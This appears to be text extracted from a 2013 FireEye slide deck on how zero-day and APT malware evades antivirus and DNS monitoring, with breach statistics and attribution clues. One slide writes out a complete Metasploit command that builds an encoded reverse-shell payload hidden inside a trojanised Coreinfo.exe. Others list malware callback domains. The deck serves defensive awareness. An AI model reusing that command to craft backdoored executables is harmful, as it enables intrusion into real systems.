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How can a zero-day threat 

evade detection with 

today’s modern security 

technologies? 

Jason Steer – EMEA Product Manager 
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78% OF  ATTACKS WERE LOW 

OR VERY LOW IN DIFFICULTY 

EVEN ESPIONAGE LEVERAGED BASIC TECHNIQUES: 

95% OF ESPIONAGE RELIED ON PHISHING 

 

COURTESY: VERIZON 2013 DBIR  

 

1. ATTACK DIFFICULTY 
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2. GROWING TIME TO BREACH DISCOVERY 

66% OF CASES 

WEREN’T 

DISCOVERED 

FOR MONTHS OR 

EVEN YEARS.  

UP FROM 56% THE YEAR BEFORE 

 

COURTESY: VERIZON 2013 DBIR   
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DOD Report to Congress April 2013 

• China is using its computer network exploitation 
(CNE) capability to support intelligence 
collection against the U.S. diplomatic, economic, 
and defense industrial base sectors that support 
U.S. national defense programs. The information 
targeted could potentially be used to benefit 
China’s defense industry, high technology 
industries, policymaker interest in US leadership 
thinking on key China issues, and military 
planners building a picture of U.S. network 
defense networks, logistics, and related military 
capabilities that could be exploited  

 Source: DOD Annual Report to Congress: Military and Security 

Developments Involving the People’s Republic of China  
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The Most Targeted Industry Verticals 
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Examples 
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Is this a threat to my CEO? 



Copyright  ©  2013, FireEye, Inc.  All rights reserved.   |   CONFIDENTIAL 8 

Is this a threat to my CEO? 
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RSA – It took a single Email 
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Different email for every targetted campaign 
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The attacker does not realize why failures occur 
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AV detection remains inconsistent 
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What does an attacker need to do? 

• # msfpayload windows/shell/reverse_tcp 
LHOST=192.168.1.13 LPORT=31337 R | msfencode  -b '\x00' 
-t raw -e x86/shikata_ga_nai -c 20 | msfencode -e 
x86/countdown -c 5 -t raw | msfencode -x Coreinfo.exe  -t exe 
-e x86/shikata_ga_nai -c 20 -o Coreinfo_back.exe 

 

• # md5 Coreinfo_back.exe 

• MD5 (Coreinfo_back.exe) 
= 7e0fb07a39f8b19d346fd967f66b25c5 

 

• https://www.virustotal.com/en/file/5492c0ebb59bdd9a75267a6
2264be6000ff6ff2414bb08a1218a57bf3174a188/analysis/137
0018768/ 

 

• Detection ratio 26/46 

https://www.virustotal.com/en/file/5492c0ebb59bdd9a75267a62264be6000ff6ff2414bb08a1218a57bf3174a188/analysis/1370018768/
https://www.virustotal.com/en/file/5492c0ebb59bdd9a75267a62264be6000ff6ff2414bb08a1218a57bf3174a188/analysis/1370018768/
https://www.virustotal.com/en/file/5492c0ebb59bdd9a75267a62264be6000ff6ff2414bb08a1218a57bf3174a188/analysis/1370018768/
https://www.virustotal.com/en/file/5492c0ebb59bdd9a75267a62264be6000ff6ff2414bb08a1218a57bf3174a188/analysis/1370018768/
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Some OS Activity… 
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Decent Decoy Document 
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Decent Decoy Document 
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APT Callback 

• Stage 1 Pingbed Trojan (Comment Team Group; aka. Shady RAT) 

• Fetches Stage 2 Dropper via PNG file 

• Dropper is XOR encoded inside the zTXt chunk (decoded ex. below)  

http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/ 

http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/


Copyright  ©  2013, FireEye, Inc.  All rights reserved.   |   CONFIDENTIAL 18 

Evading detection of DNS monitoring 

• Evading dns detection using http based lookups 
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Call backs designed to confuse & mislead 

• >100 domains call back in one piece of code 
– ……. 

– mnpnbyddmlnaieqwgzpnvupnofbib.net 

– mnpnbyddmlnaieqwgzpnvvpnofbib.net 

– mnpnbyddmlnaieqwgzpnvwpnofbib.net 

– mnpnbyddmlnaieqwgzpnvxpnofbib.net 

– mnpnbyddmlnaieqwgzpnvypnofbib.net 

– mnpnbyddmlnaieqwgzpnvzpnofbib.net 

– ……. 

 

• Which one is the real one? 

http://mnpnbyddmlnaieqwgzpnvvpnofbib.net/
http://mnpnbyddmlnaieqwgzpnvvpnofbib.net/
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2013.exe    madhack.no-ip.biz 
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SpyNet 2.6 
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Hacker Group V3nen0 Labs display there botnet 
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Things we know & learn from APT’s 

• Keyboard Layout –use of charset GB2312 in emails 

 

• Malware Metadata - source code links to PDB files on dev PC 

 

• Embedded Fonts – font choices give away true origin 

 

• DNS Registration – no surprise 

 

• Language – spelling & grammar errors 

 

• Remote Administration Tool Configuration – every attacker has 
their own preference and config options 

 

• Behavior – attackers often re-cycle elements of an attack 
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Summary 

• All organisations have something unique that 

makes them competitive to protect 

• Current technology layers do not detect & 

prevent modern malware 

 

• Reset our mindsets – 1 event could be 

enough now to present a major risk to a 

business 

 

 


